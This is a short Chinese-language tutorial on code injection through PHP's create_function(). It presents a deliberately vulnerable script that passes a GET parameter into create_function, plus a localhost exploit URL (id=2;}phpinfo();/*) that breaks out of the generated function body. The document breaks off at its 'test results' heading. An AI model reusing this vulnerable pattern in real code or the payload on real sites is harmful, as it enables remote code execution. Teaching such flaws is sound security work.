PHP create_function()代码注入 (执行脚本函数）

第一部分：介绍php函数 create_function()：

string create_function    ( string $args   , string $code   )

string $args 变量部分

string $code 方法代码部分

举例：

1	create_function( '$fname' , 'echo $fname."Zhang"' )

类似于：

1 2 3

function  fT( $fname ) {    echo  $fname . "Zhang" ; }

举一个官方提供的例子：

1 2 3 4 5 6 7 8 9

<?php $newfunc  = create_function( '$a,$b' ,  'return "ln($a) + ln($b) = " . log($a * $b);' ); echo  "New anonymous function: $newfunc" ; echo  $newfunc (2, M_E) . " "; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>

第二部分：如何利用create_function(）代码注入

测试环境版本：

apache +php 5.2、apache +php 5.3

有问题的代码：

1 2 3 4 5 6 7 8 9 10 11 12

<?php //02-8.php?id=2;}phpinfo();/* $id = $_GET [ 'id' ]; $str2 = 'echo  ' . $a . 'test' . $id . ";" ; echo  $str2 ; echo  "<br/>" ; echo  "==============================" ; echo  "<br/>" ; $f1  = create_function( '$a' , $str2 ); echo  "<br/>" ; echo  "==============================" ; ?>

利用方法：

http://localhost/libtest/02-8.php?id=2;}phpinfo();/*

实现原理：

由于id=2;}phpinfo();/*

执行函数为：

1 2 3 4 5 6 7 8 9 10

源代码： function  fT( $a ) {    echo  "test" . $a ; }   注入后代码： function  fT( $a ) {    echo  "test" ;}    phpinfo();/*; //此处为注入代码。 }

测试效果：